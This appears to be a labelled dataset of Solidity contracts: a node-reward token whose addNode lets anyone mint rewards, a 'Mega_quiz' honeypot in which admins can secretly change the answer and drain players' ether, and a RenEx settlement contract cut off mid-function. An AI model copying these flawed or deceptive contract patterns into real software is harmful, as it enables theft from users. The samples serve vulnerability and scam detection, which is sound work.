uint256 private constant PRECISION = 10**18;
uint256 public totalNodes;
uint256 public rewardStartTime;
uint256 public rewardCheckpoint;
uint256 private rewardTimestamp;
mapping(address => uint256) public nodes;
mapping(address => uint256) private claimed;
event Mint(address indexed to, uint256 amount);
event AddNode(address indexed owner);
/**
* @dev add a node for a specified address.
* @param _owner The address to add a node for.
*/
function addNode(address _owner) external {
uint256 checkpointCandidate;
if (rewardStartTime == 0) {
// initialise rewards
rewardStartTime = block.timestamp;
} else {
// reward per node must increase to be a valid checkpoint
// or a valid reward for this block must have already been checkpointed
checkpointCandidate = rewardPerNode();
require(checkpointCandidate > rewardCheckpoint || block.timestamp == rewardTimestamp);
}
// claim outstanding rewards
sync(_owner);
if (rewardCheckpoint != checkpointCandidate) {
// checkpoint the total reward per node
rewardCheckpoint = checkpointCandidate;
}
if (rewardTimestamp != block.timestamp) {
// reset the timestamp for the reward
rewardTimestamp = block.timestamp;
}
// add node for address
nodes[_owner] = nodes[_owner].add(1);
// prevent new nodes from claiming old rewards
claimed[_owner] = rewardCheckpoint.mul(nodes[_owner]);
// update the total nodes in the network
totalNodes = totalNodes.add(1);
// fire event
emit AddNode(_owner);
}
/**
* @dev Gets the total reward for a node.
* @return A uint256 representing the total reward of a node.
*/
function rewardPerNode() public view returns (uint256) {
// no reward if there are no active nodes
if (totalNodes == 0) {
return;
}
// days since last checkpoint
uint256 totalDays = block.timestamp.sub(rewardTimestamp).mul(PRECISION).div(1 days);
// reward * days / nodes
uint256 newReward = BASE_REWARD.mul(totalDays).div(PRECISION).div(totalNodes);
// checkpoint + newReward
return rewardCheckpoint.add(newReward);
}
/**
* @dev Gets the outstanding reward of a specified address.
* @param _owner The address to query the reward of.
* @return A uint256 representing the outstanding reward of the passed address.
*/
function calculateReward(address _owner) public view returns (uint256) {
// address must be running a node
if (isMining(_owner)) {
// return outstanding reward
uint256 reward = rewardPerNode().mul(nodes[_owner]);
return reward.sub(claimed[_owner]);
}
}
/**
* @dev sync an outstanding reward for a specified address.
* @param _owner The address to sync rewards for.
*/
function sync(address _owner) public {
uint256 reward = calculateReward(_owner);
if (reward > 0) {
claimed[_owner] = claimed[_owner].add(reward);
balances[_owner] = balances[_owner].add(reward);
emit Mint(_owner, reward);
emit Transfer(address(0), _owner, reward);
}
}
/**
* @dev transfer token for a specified address.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
sync(msg.sender);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from address The address which you want to send tokens from.
* @param _to address The address which you want to transfer to.
* @param _value uint256 the amount of tokens to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
sync(_from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner].add(calculateReward(_owner));
}
/**
* @dev returns the approximate total number of tokens in existence
* @return A uint256 representing the approximate total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
if (rewardStartTime == 0) {
return;
}
// days since start of rewards
uint256 totalDays = block.timestamp.sub(rewardStartTime).mul(PRECISION).div(1 days);
// reward * days
return BASE_REWARD.mul(totalDays).div(PRECISION);
}
/**
* @dev returns the mining status of the passed address.
* @return A uint256 representing the mining status of the passed address.
*/
function isMining(address _owner) public view returns (bool) {
return nodes[_owner] != 0;
}
/**
* @dev A batch query to get all node information for a specified address.
* @param _owner The address to query the details of.
* @return A bool representing the mining status of the passed address.
* @return A uint256 representing the number of nodes owned by the passed address.
* @return A uint256 representing the amount owned by the passed address.
* @return A uint256 representing the outstanding reward of the passed address.
* @return A uint256 representing the total reward per node.
* @return A uint256 representing the total nodes in the network.
* @return A uint256 representing the total number of tokens in existence.
*/
function getInfo(address _owner) public view returns (bool, uint256, uint256, uint256, uint256, uint256, uint256) {
return (isMining(_owner), nodes[_owner], balanceOf(_owner), calculateReward(_owner), rewardPerNode(), totalNodes, totalSupply());
}
} | True | [
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|
contract Mega_quiz
{
function Try(string memory _response) public payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
{
payable(msg.sender).transfer(address(this).balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string calldata _question, string calldata _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(abi.encode(_response));
question = _question;
}
}
function Stop() public payable isAdmin {
payable(msg.sender).transfer(address(this).balance);
}
function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] memory admins) {
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(abi.encodePacked(msg.sender))]);
_;
}
fallback() external {}
} | True | [
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pragma solidity 0.4.24;
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/// @notice The Orderbook contract stores the state and priority of orders and
/// allows the Darknodes to easily reach consensus. Eventually, this contract
/// will only store a subset of order states, such as cancellation, to improve
/// the throughput of orders.
contract Orderbook {
/// @notice OrderState enumerates the possible states of an order. All
/// orders default to the Undefined state.
enum OrderState {Undefined, Open, Confirmed, Canceled}
/// @notice returns a list of matched orders to the given orderID.
function orderMatch(bytes32 _orderID) external view returns (bytes32);
/// @notice returns the trader of the given orderID.
/// Trader is the one who signs the message and does the actual trading.
function orderTrader(bytes32 _orderID) external view returns (address);
/// @notice returns status of the given orderID.
function orderState(bytes32 _orderID) external view returns (OrderState);
/// @notice returns the darknode address which confirms the given orderID.
function orderConfirmer(bytes32 _orderID) external view returns (address);
}
/// @notice RenExTokens is a registry of tokens that can be traded on RenEx.
contract RenExTokens is Ownable {
struct TokenDetails {
address addr;
uint8 decimals;
bool registered;
}
mapping(uint32 => TokenDetails) public tokens;
/// @notice Allows the owner to register and the details for a token.
/// Once details have been submitted, they cannot be overwritten.
/// To re-register the same token with different details (e.g. if the address
/// has changed), a different token identifier should be used and the
/// previous token identifier should be deregistered.
/// If a token is not Ethereum-based, the address will be set to 0x0.
///
/// @param _tokenCode A unique 32-bit token identifier.
/// @param _tokenAddress The address of the token.
/// @param _tokenDecimals The decimals to use for the token.
function registerToken(uint32 _tokenCode, address _tokenAddress, uint8 _tokenDecimals) public onlyOwner;
/// @notice Sets a token as being deregistered. The details are still stored
/// to prevent the token from being re-registered with different details.
///
/// @param _tokenCode The unique 32-bit token identifier.
function deregisterToken(uint32 _tokenCode) external onlyOwner;
}
/// @notice RenExBalances is responsible for holding RenEx trader funds.
contract RenExBalances {
address public settlementContract;
/// @notice Restricts a function to only being called by the RenExSettlement
/// contract.
modifier onlyRenExSettlementContract() {
require(msg.sender == address(settlementContract), "not authorized");
_;
}
/// @notice Transfer a token value from one trader to another, transferring
/// a fee to the RewardVault. Can only be called by the RenExSettlement
/// contract.
///
/// @param _traderFrom The address of the trader to decrement the balance of.
/// @param _traderTo The address of the trader to increment the balance of.
/// @param _token The token's address.
/// @param _value The number of tokens to decrement the balance by (in the
/// token's smallest unit).
/// @param _fee The fee amount to forward on to the RewardVault.
/// @param _feePayee The recipient of the fee.
function transferBalanceWithFee(address _traderFrom, address _traderTo, address _token, uint256 _value, uint256 _fee, address _feePayee)
external onlyRenExSettlementContract;
}
/// @notice A library for calculating and verifying order match details
library SettlementUtils {
struct OrderDetails {
uint64 settlementID;
uint64 tokens;
uint256 price;
uint256 volume;
uint256 minimumVolume;
}
/// @notice Calculates the ID of the order.
/// @param details Order details that are not required for settlement
/// execution. They are combined as a single byte array.
/// @param order The order details required for settlement execution.
function hashOrder(bytes details, OrderDetails memory order) internal pure returns (bytes32) {
return keccak256(
abi.encodePacked(
details,
order.settlementID,
order.tokens,
order.price,
order.volume,
order.minimumVolume
)
);
}
/// @notice Verifies that two orders match when considering the tokens,
/// price, volumes / minimum volumes and settlement IDs. verifyMatchDetails is used
/// my the DarknodeSlasher to verify challenges. Settlement layers may also
/// use this function.
/// @dev When verifying two orders for settlement, you should also:
/// 1) verify the orders have been confirmed together
/// 2) verify the orders' traders are distinct
/// @param _buy The buy order details.
/// @param _sell The sell order details.
function verifyMatchDetails(OrderDetails memory _buy, OrderDetails memory _sell) internal pure returns (bool) {
// Buy and sell tokens should match
if (!verifyTokens(_buy.tokens, _sell.tokens)) {
return false;
}
// Buy price should be greater than sell price
if (_buy.price < _sell.price) {
return false;
}
// // Buy volume should be greater than sell minimum volume
if (_buy.volume < _sell.minimumVolume) {
return false;
}
// Sell volume should be greater than buy minimum volume
if (_sell.volume < _buy.minimumVolume) {
return false;
}
// Require that the orders were submitted to the same settlement layer
if (_buy.settlementID != _sell.settlementID) {
return false;
}
return true;
}
/// @notice Verifies that two token requirements can be matched and that the
/// tokens are formatted correctly.
/// @param _buyTokens The buy token details.
/// @param _sellToken The sell token details.
function verifyTokens(uint64 _buyTokens, uint64 _sellToken) internal pure returns (bool) {
return ((
uint32(_buyTokens) == uint32(_sellToken >> 32)) && (
uint32(_sellToken) == uint32(_buyTokens >> 32)) && (
uint32(_buyTokens >> 32) <= uint32(_buyTokens))
);
}
}
/// @notice RenExSettlement implements the Settlement interface. It implements
/// the on-chain settlement for the RenEx settlement layer, and the fee payment
/// for the RenExAtomic settlement layer.
contract RenExSettlement is Ownable {
using SafeMath for uint256;
string public VERSION; // Passed in as a constructor parameter.
// This contract handles the settlements with ID 1 and 2.
uint32 constant public RENEX_SETTLEMENT_ID = 1;
uint32 constant public RENEX_ATOMIC_SETTLEMENT_ID = 2;
// Fees in RenEx are 0.2%. To represent this as integers, it is broken into
// a numerator and denominator.
uint256 constant public DARKNODE_FEES_NUMERATOR = 2;
uint256 constant public DARKNODE_FEES_DENOMINATOR = 1000;
// Constants used in the price / volume inputs.
int16 constant private PRICE_OFFSET = 12;
int16 constant private VOLUME_OFFSET = 12;
// Constructor parameters, updatable by the owner
Orderbook public orderbookContract;
RenExTokens public renExTokensContract;
RenExBalances public renExBalancesContract;
address public slasherAddress;
uint256 public submissionGasPriceLimit;
enum OrderStatus {None, Submitted, Settled, Slashed}
struct TokenPair {
RenExTokens.TokenDetails priorityToken;
RenExTokens.TokenDetails secondaryToken;
}
// A uint256 tuple representing a value and an associated fee
struct ValueWithFees {
uint256 value;
uint256 fees;
}
// A uint256 tuple representing a fraction
struct Fraction {
uint256 numerator;
uint256 denominator;
}
// We use left and right because the tokens do not always represent the
// priority and secondary tokens.
struct SettlementDetails {
uint256 leftVolume;
uint256 rightVolume;
uint256 leftTokenFee;
uint256 rightTokenFee;
address leftTokenAddress;
address rightTokenAddress;
}
// Events
event LogOrderbookUpdated(Orderbook previousOrderbook, Orderbook nextOrderbook);
event LogRenExTokensUpdated(RenExTokens previousRenExTokens, RenExTokens nextRenExTokens);
event LogRenExBalancesUpdated(RenExBalances previousRenExBalances, RenExBalances nextRenExBalances);
event LogSubmissionGasPriceLimitUpdated(uint256 previousSubmissionGasPriceLimit, uint256 nextSubmissionGasPriceLimit);
event LogSlasherUpdated(address previousSlasher, address nextSlasher);
// Order Storage
mapping(bytes32 => SettlementUtils.OrderDetails) public orderDetails;
mapping(bytes32 => address) public orderSubmitter;
mapping(bytes32 => OrderStatus) public orderStatus;
// Match storage (match details are indexed by [buyID][sellID])
mapping(bytes32 => mapping(bytes32 => uint256)) public matchTimestamp;
/// @notice Prevents a function from being called with a gas price higher
/// than the specified limit.
///
/// @param _gasPriceLimit The gas price upper-limit in Wei.
modifier withGasPriceLimit(uint256 _gasPriceLimit) {
require(tx.gasprice <= _gasPriceLimit, "gas price too high");
_;
}
/// @notice Restricts a function to only being called by the slasher
/// address.
modifier onlySlasher() {
require(msg.sender == slasherAddress, "unauthorized");
_;
}
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
/// @param _orderbookContract The address of the Orderbook contract.
/// @param _renExBalancesContract The address of the RenExBalances
/// contract.
/// @param _renExTokensContract The address of the RenExTokens contract.
constructor(
string _VERSION,
Orderbook _orderbookContract,
RenExTokens _renExTokensContract,
RenExBalances _renExBalancesContract,
address _slasherAddress,
uint256 _submissionGasPriceLimit
) public {
VERSION = _VERSION;
orderbookContract = _orderbookContract;
renExTokensContract = _renExTokensContract;
renExBalancesContract = _renExBalancesContract;
slasherAddress = _slasherAddress;
submissionGasPriceLimit = _submissionGasPriceLimit;
}
/// @notice The owner of the contract can update the Orderbook address.
/// @param _newOrderbookContract The address of the new Orderbook contract.
function updateOrderbook(Orderbook _newOrderbookContract) external onlyOwner {
emit LogOrderbookUpdated(orderbookContract, _newOrderbookContract);
orderbookContract = _newOrderbookContract;
}
/// @notice The owner of the contract can update the RenExTokens address.
/// @param _newRenExTokensContract The address of the new RenExTokens
/// contract.
function updateRenExTokens(RenExTokens _newRenExTokensContract) external onlyOwner {
emit LogRenExTokensUpdated(renExTokensContract, _newRenExTokensContract);
renExTokensContract = _newRenExTokensContract;
}
/// @notice The owner of the contract can update the RenExBalances address.
/// @param _newRenExBalancesContract The address of the new RenExBalances
/// contract.
function updateRenExBalances(RenExBalances _newRenExBalancesContract) external onlyOwner {
emit LogRenExBalancesUpdated(renExBalancesContract, _newRenExBalancesContract);
renExBalancesContract = _newRenExBalancesContract;
}
/// @notice The owner of the contract can update the order submission gas
/// price limit.
/// @param _newSubmissionGasPriceLimit The new gas price limit.
function updateSubmissionGasPriceLimit(uint256 _newSubmissionGasPriceLimit) external onlyOwner {
emit LogSubmissionGasPriceLimitUpdated(submissionGasPriceLimit, _newSubmissionGasPriceLimit);
submissionGasPriceLimit = _newSubmissionGasPriceLimit;
}
/// @notice The owner of the contract can update the slasher address.
/// @param _newSlasherAddress The new slasher address.
function updateSlasher(address _newSlasherAddress) external onlyOwner {
emit LogSlasherUpdated(slasherAddress, _newSlasherAddress);
slasherAddress = _newSlasherAddress;
}
/// @notice Stores the details of an order.
///
/// @param _prefix The miscellaneous details of the order required for
/// calculating the order id.
/// @param _settlementID The settlement identifier.
/// @param _tokens The encoding of the token pair (buy token is encoded as
/// the first 32 bytes and sell token is encoded as the last 32
/// bytes).
/// @param _price The price of the order. Interpreted as the cost for 1
/// standard unit of the non-priority token, in 1e12 (i.e.
/// PRICE_OFFSET) units of the priority token).
/// @param _volume The volume of the order. Interpreted as the maximum
/// number of 1e-12 (i.e. VOLUME_OFFSET) units of the non-priority
/// token that can be traded by this order.
/// @param _minimumVolume The minimum volume the trader is willing to
/// accept. Encoded the same as the volume.
function submitOrder(
bytes _prefix,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external withGasPriceLimit(submissionGasPriceLimit) {
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: _settlementID,
tokens: _tokens,
price: _price,
volume: _volume,
minimumVolume: _minimumVolume
});
bytes32 orderID = SettlementUtils.hashOrder(_prefix, order);
require(orderStatus[orderID] == OrderStatus.None, "order already submitted");
require(orderbookContract.orderState(orderID) == Orderbook.OrderState.Confirmed, "unconfirmed order");
orderSubmitter[orderID] = msg.sender;
orderStatus[orderID] = OrderStatus.Submitted;
orderDetails[orderID] = order;
}
/// @notice Settles two orders that are matched. `submitOrder` must have been
/// called for each order before this function is called.
///
/// @param _buyID The 32 byte ID of the buy order.
/// @param _sellID The 32 byte ID of the sell order.
function settle(bytes32 _buyID, bytes32 _sellID) external {
require(orderStatus[_buyID] == OrderStatus.Submitted, "invalid buy status");
require(orderStatus[_sellID] == OrderStatus.Submitted, "invalid sell status");
// Check the settlement ID (only have to check for one, since
// `verifyMatchDetails` checks that they are the same)
require(
orderDetails[_buyID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID ||
orderDetails[_buyID].settlementID == RENEX_SETTLEMENT_ID,
"invalid settlement id"
);
// Verify that the two order details are compatible.
require(SettlementUtils.verifyMatchDetails(orderDetails[_buyID], orderDetails[_sellID]), "incompatible orders");
// Verify that the two orders have been confirmed to one another.
require(orderbookContract.orderMatch(_buyID) == _sellID, "unconfirmed orders");
// Retrieve token details.
TokenPair memory tokens = getTokenDetails(orderDetails[_buyID].tokens);
// Require that the tokens have been registered.
require(tokens.priorityToken.registered, "unregistered priority token");
require(tokens.secondaryToken.registered, "unregistered secondary token");
address buyer = orderbookContract.orderTrader(_buyID);
address seller = orderbookContract.orderTrader(_sellID);
require(buyer != seller, "orders from same trader");
execute(_buyID, _sellID, buyer, seller, tokens);
/* solium-disable-next-line security/no-block-members */
matchTimestamp[_buyID][_sellID] = now;
// Store that the orders have been settled.
orderStatus[_buyID] = OrderStatus.Settled;
orderStatus[_sellID] = OrderStatus.Settled;
}
/// @notice Slashes the bond of a guilty trader. This is called when an
/// atomic swap is not executed successfully.
/// To open an atomic order, a trader must have a balance equivalent to
/// 0.6% of the trade in the Ethereum-based token. 0.2% is always paid in
/// darknode fees when the order is matched. If the remaining amount is
/// is slashed, it is distributed as follows:
/// 1) 0.2% goes to the other trader, covering their fee
/// 2) 0.2% goes to the slasher address
/// Only one order in a match can be slashed.
///
/// @param _guiltyOrderID The 32 byte ID of the order of the guilty trader.
function slash(bytes32 _guiltyOrderID) external onlySlasher {
require(orderDetails[_guiltyOrderID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID, "slashing non-atomic trade");
bytes32 innocentOrderID = orderbookContract.orderMatch(_guiltyOrderID);
require(orderStatus[_guiltyOrderID] == OrderStatus.Settled, "invalid order status");
require(orderStatus[innocentOrderID] == OrderStatus.Settled, "invalid order status");
orderStatus[_guiltyOrderID] = OrderStatus.Slashed;
(bytes32 buyID, bytes32 sellID) = isBuyOrder(_guiltyOrderID) ?
(_guiltyOrderID, innocentOrderID) : (innocentOrderID, _guiltyOrderID);
TokenPair memory tokens = getTokenDetails(orderDetails[buyID].tokens);
SettlementDetails memory settlementDetails = calculateAtomicFees(buyID, sellID, tokens);
// Transfer the fee amount to the other trader
renExBalancesContract.transferBalanceWithFee(
orderbookContract.orderTrader(_guiltyOrderID),
orderbookContract.orderTrader(innocentOrderID),
settlementDetails.leftTokenAddress,
settlementDetails.leftTokenFee,
0,
0x0
);
// Transfer the fee amount to the slasher
renExBalancesContract.transferBalanceWithFee(
orderbookContract.orderTrader(_guiltyOrderID),
slasherAddress,
settlementDetails.leftTokenAddress,
settlementDetails.leftTokenFee,
0,
0x0
);
}
/// @notice Retrieves the settlement details of an order.
/// For atomic swaps, it returns the full volumes, not the settled fees.
///
/// @param _orderID The order to lookup the details of. Can be the ID of a
/// buy or a sell order.
/// @return [
/// a boolean representing whether or not the order has been settled,
/// a boolean representing whether or not the order is a buy
/// the 32-byte order ID of the matched order
/// the volume of the priority token,
/// the volume of the secondary token,
/// the fee paid in the priority token,
/// the fee paid in the secondary token,
/// the token code of the priority token,
/// the token code of the secondary token
/// ]
function getMatchDetails(bytes32 _orderID)
external view returns (
bool settled,
bool orderIsBuy,
bytes32 matchedID,
uint256 priorityVolume,
uint256 secondaryVolume,
uint256 priorityFee,
uint256 secondaryFee,
uint32 priorityToken,
uint32 secondaryToken
) {
matchedID = orderbookContract.orderMatch(_orderID);
orderIsBuy = isBuyOrder(_orderID);
(bytes32 buyID, bytes32 sellID) = orderIsBuy ?
(_orderID, matchedID) : (matchedID, _orderID);
SettlementDetails memory settlementDetails = calculateSettlementDetails(
buyID,
sellID,
getTokenDetails(orderDetails[buyID].tokens)
);
return (
orderStatus[_orderID] == OrderStatus.Settled || orderStatus[_orderID] == OrderStatus.Slashed,
orderIsBuy,
matchedID,
settlementDetails.leftVolume,
settlementDetails.rightVolume,
settlementDetails.leftTokenFee,
settlementDetails.rightTokenFee,
uint32(orderDetails[buyID].tokens >> 32),
uint32(orderDetails[buyID].tokens)
);
}
/// @notice Exposes the hashOrder function for computing a hash of an
/// order's details. An order hash is used as its ID. See `submitOrder`
/// for the parameter descriptions.
///
/// @return The 32-byte hash of the order.
function hashOrder(
bytes _prefix,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external pure returns (bytes32) {
return SettlementUtils.hashOrder(_prefix, SettlementUtils.OrderDetails({
settlementID: _settlementID,
tokens: _tokens,
price: _price,
volume: _volume,
minimumVolume: _minimumVolume
}));
}
/// @notice Called by `settle`, executes the settlement for a RenEx order
/// or distributes the fees for a RenExAtomic swap.
///
/// @param _buyID The 32 byte ID of the buy order.
/// @param _sellID The 32 byte ID of the sell order.
/// @param _buyer The address of the buy trader.
/// @param _seller The address of the sell trader.
/// @param _tokens The details of the priority and secondary tokens.
function execute(
bytes32 _buyID,
bytes32 _sellID,
address _buyer,
address _seller,
TokenPair memory _tokens
) private {
// Calculate the fees for atomic swaps, and the settlement details
// otherwise.
SettlementDetails memory settlementDetails = (orderDetails[_buyID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID) ?
settlementDetails = calculateAtomicFees(_buyID, _sellID, _tokens) :
settlementDetails = calculateSettlementDetails(_buyID, _sellID, _tokens);
// Transfer priority token value
renExBalancesContract.transferBalanceWithFee(
_buyer,
_seller,
settlementDetails.leftTokenAddress,
settlementDetails.leftVolume,
settlementDetails.leftTokenFee,
orderSubmitter[_buyID]
);
// Transfer secondary token value
renExBalancesContract.transferBalanceWithFee(
_seller,
_buyer,
settlementDetails.rightTokenAddress,
settlementDetails.rightVolume,
settlementDetails.rightTokenFee,
orderSubmitter[_sellID]
);
}
/// @notice Calculates the details required to execute two matched orders.
///
/// @param _buyID The 32 byte ID of the buy order.
/// @param _sellID The 32 byte ID of the sell order.
/// @param _tokens The details of the priority and secondary tokens.
/// @return A struct containing the settlement details.
function calculateSettlementDetails(
bytes32 _buyID,
bytes32 _sellID,
TokenPair memory _tokens
) private view returns (SettlementDetails memory) {
// Calculate the mid-price (using numerator and denominator to not loose
// precision).
Fraction memory midPrice = Fraction(orderDetails[_buyID].price + orderDetails[_sellID].price, 2);
// Calculate the lower of the two max volumes of each trader
uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume);
uint256 priorityTokenVolume = joinFraction(
commonVolume.mul(midPrice.numerator),
midPrice.denominator,
int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET
);
uint256 secondaryTokenVolume = joinFraction(
commonVolume,
1,
int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET
);
// Calculate darknode fees
ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume);
ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume);
return SettlementDetails({
leftVolume: priorityVwF.value,
rightVolume: secondaryVwF.value,
leftTokenFee: priorityVwF.fees,
rightTokenFee: secondaryVwF.fees,
leftTokenAddress: _tokens.priorityToken.addr,
rightTokenAddress: _tokens.secondaryToken.addr
});
}
/// @notice Calculates the fees to be transferred for an atomic swap.
///
/// @param _buyID The 32 byte ID of the buy order.
/// @param _sellID The 32 byte ID of the sell order.
/// @param _tokens The details of the priority and secondary tokens.
/// @return A struct containing the fee details.
function calculateAtomicFees(
bytes32 _buyID,
bytes32 _sellID,
TokenPair memory _tokens
) private view returns (SettlementDetails memory) {
// Calculate the mid-price (using numerator and denominator to not loose
// precision).
Fraction memory midPrice = Fraction(orderDetails[_buyID].price + orderDetails[_sellID].price, 2);
// Calculate the lower of the two max volumes of each trader
uint256 commonVolume = Math.min256(orderDetails[_buyID].volume, orderDetails[_sellID].volume);
if (isEthereumBased(_tokens.secondaryToken.addr)) {
uint256 secondaryTokenVolume = joinFraction(
commonVolume,
1,
int16(_tokens.secondaryToken.decimals) - VOLUME_OFFSET
);
// Calculate darknode fees
ValueWithFees memory secondaryVwF = subtractDarknodeFee(secondaryTokenVolume);
return SettlementDetails({
leftVolume: 0,
rightVolume: 0,
leftTokenFee: secondaryVwF.fees,
rightTokenFee: secondaryVwF.fees,
leftTokenAddress: _tokens.secondaryToken.addr,
rightTokenAddress: _tokens.secondaryToken.addr
});
} else if (isEthereumBased(_tokens.priorityToken.addr)) {
uint256 priorityTokenVolume = joinFraction(
commonVolume.mul(midPrice.numerator),
midPrice.denominator,
int16(_tokens.priorityToken.decimals) - PRICE_OFFSET - VOLUME_OFFSET
);
// Calculate darknode fees
ValueWithFees memory priorityVwF = subtractDarknodeFee(priorityTokenVolume);
return SettlementDetails({
leftVolume: 0,
rightVolume: 0,
leftTokenFee: priorityVwF.fees,
rightTokenFee: priorityVwF.fees,
leftTokenAddress: _tokens.priorityToken.addr,
rightTokenAddress: _tokens.priorityToken.addr
});
} else {
// Currently, at least one token must be Ethereum-based.
// This will be implemented in the future.
revert("non-eth atomic swaps are not supported");
}
}
/// @notice Order parity is set by the order tokens are listed. This returns
/// whether an order is a buy or a sell.
/// @return true if _orderID is a buy order.
function isBuyOrder(bytes32 _orderID) private view returns (bool) {
uint64 tokens = orderDetails[_orderID].tokens;
uint32 firstToken = uint32(tokens >> 32);
uint32 secondaryToken = uint32(tokens);
return (firstToken < secondaryToken);
}
/// @return (value - fee, fee) where fee is 0.2% of value
function subtractDarknodeFee(uint256 _value) private pure returns (ValueWithFees memory) {
uint256 newValue = (_value * (DARKNODE_FEES_DENOMINATOR - DARKNODE_FEES_NUMERATOR)) / DARKNODE_FEES_DENOMINATOR;
return ValueWithFees(newValue, _value - newValue);
}
/// @notice Gets the order details of the priority and secondary token from
/// the RenExTokens contract and returns them as a single struct.
///
/// @param _tokens The 64-bit combined token identifiers.
/// @return A TokenPair struct containing two TokenDetails structs.
function getTokenDetails(uint64 _tokens) private view returns (TokenPair memory) {
(
address priorityAddress,
uint8 priorityDecimals,
bool priorityRegistered
) = renExTokensContract.tokens(uint32(_tokens >> 32));
(
address secondaryAddress,
uint8 secondaryDecimals,
bool secondaryRegistered
) = renExTokensContract.tokens(uint32(_tokens));
return TokenPair({
priorityToken: RenExTokens.TokenDetails(priorityAddress, priorityDecimals, priorityRegistered),
secondaryToken: RenExTokens.TokenDetails(secondaryAddress, secondaryDecimals, secondaryRegistered)
});
}
/// @return true if _tokenAddress is 0x0, representing a token that is not
/// on Ethereum
function isEthereumBased(address _tokenAddress) private pure returns (bool) {
return (_tokenAddress != address(0x0));
}
/// @notice Computes (_numerator / _denominator) * 10 ** _scale
function joinFraction(uint256 _numerator, uint256 _denominator, int16 _scale) private pure returns (uint256) {
if (_scale >= 0) {
// Check that (10**_scale) doesn't overflow
assert(_scale <= 77); // log10(2**256) = 77.06
return _numerator.mul(10 ** uint256(_scale)) / _denominator;
} else {
/// @dev If _scale is less than -77, 10**-_scale would overflow.
// For now, -_scale > -24 (when a token has 0 decimals and
// VOLUME_OFFSET and PRICE_OFFSET are each 12). It is unlikely these
// will be increased to add to more than 77.
// assert((-_scale) <= 77); // log10(2**256) = 77.06
